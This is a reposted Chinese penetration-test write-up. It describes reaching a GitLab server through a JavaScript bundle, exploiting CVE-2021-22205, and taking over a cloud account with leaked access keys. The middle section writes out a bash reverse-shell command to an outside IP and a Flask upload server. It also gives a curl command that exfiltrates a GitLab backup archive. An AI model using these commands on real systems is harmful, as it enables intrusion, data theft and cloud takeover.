记一次HC中因为JS拿下整个云!

admin 2024年10月7日18:51:16评论10 views字数 1827阅读6分5秒阅读模式

0x01 信息收集

首先给到一个资产是二维码,是一张sese图片里面带有约炮的app下载,扫码后得到如下结果

记一次HC中因为JS拿下整个云!
得到如下结果:https://www.target.com 后进行访问主站

注册成功后发现全是妹子(........),这个时候先别急,咱第一步先去看他调用的JS资源,随便点击一个资源然后刷新一下看他F12网络

这里首先我只能用当时留下的毫无关联的图片进行演示了,当时我看到的JS文件叫 "MyProfile"

记一次HC中因为JS拿下整个云!

0x02 JS断点调试

这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息?),

所以凭借这些理由,我在XHR中锁定了"MyProfile"这个关键字进行JS断点

记一次HC中因为JS拿下整个云!

然后刷新进行调试,在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段,叫 /assets/index-xxxxxx.js

一般来说我就会去审计一下这个JS文件,结果发现好东西了

bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"

记一次HC中因为JS拿下整个云!

0x03 新突破

我当时就立刻去访问了一下,发现竟然是一个gitlab!
记一次HC中因为JS拿下整个云!
找了一下历史漏洞,CVE-2021-22205 直接梭哈,成功拿到shell
记一次HC中因为JS拿下整个云!
由于是执行命令,所以写了shell反弹
echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh
成功反弹shell
记一次HC中因为JS拿下整个云!
发现是ubunto的16.04,但是本地提权失败,找了SUID也没有办法,想尽了各种办法都没办法提权,打算放弃了。

所以接下来就是去寻找Git权限能做的操作,找了一个下午,最终找到了backups目录里下找到了一个backup的tar包,应该八成就是gitlab上的备份了。

记一次HC中因为JS拿下整个云!

Flask之取文件

但是问题来了,我怎么做到在我反弹shell中把文件拖出来了呢?scp等都试过了不行,于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来(感觉这思路骚的)

我的服务器

from flask import Flask,requestimport osapp = Flask(__name__)@app.route('/upload',methods=['POST'])def upload_file():    file = request.files.get('file')    if file :        filename = file.filename        file.save(os.path.join(os.getcwd(),filename))        return f"File {filename} saved successfully"    else:        return "worry"if  __name__ == '__main__':    app.run(host='0.0.0.0',debug=True,port=5000)
受控主机shell
curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar

0x04 云沦陷(泄露AK SK)

几个G,下载漫长的很呢!后拖到本地后应该就是gitlab的备份了为他备文件名字中带有gitlab的版本号到对应的gitlab的相应版本去搭建。

然后本地搭建导入备份后慢慢的寻找一些有用信息,后面然发现一个叫application.yaml的件,进行审计后泄露了ak和sk这开发倒是备份挺明白的,全部都写清清楚楚)。
记一次HC中因为JS拿下整个云!

这个时候行云管家一把梭哈,因为权限很大,接管整个云了,总共是51台主机都拿下了。

0x05 总结

思路就是 :打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云,最后全部打包好给了JF,也进行取证立A了,到此因为一个JS文件拿下整个云结束了,思路可以学习一波。

文章来源:先知社区(1201463046740633原文地址:https://xz.aliyun.com/t/12698

如侵权请私聊我们删文

记一次HC中因为JS拿下整个云!

记一次HC中因为JS拿下整个云!

原文始发于微信公众号(黑客街安全团队):记一次HC中因为JS拿下整个云!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日18:51:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次HC中因为JS拿下整个云!https://cn-sec.com/archives/1967020.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息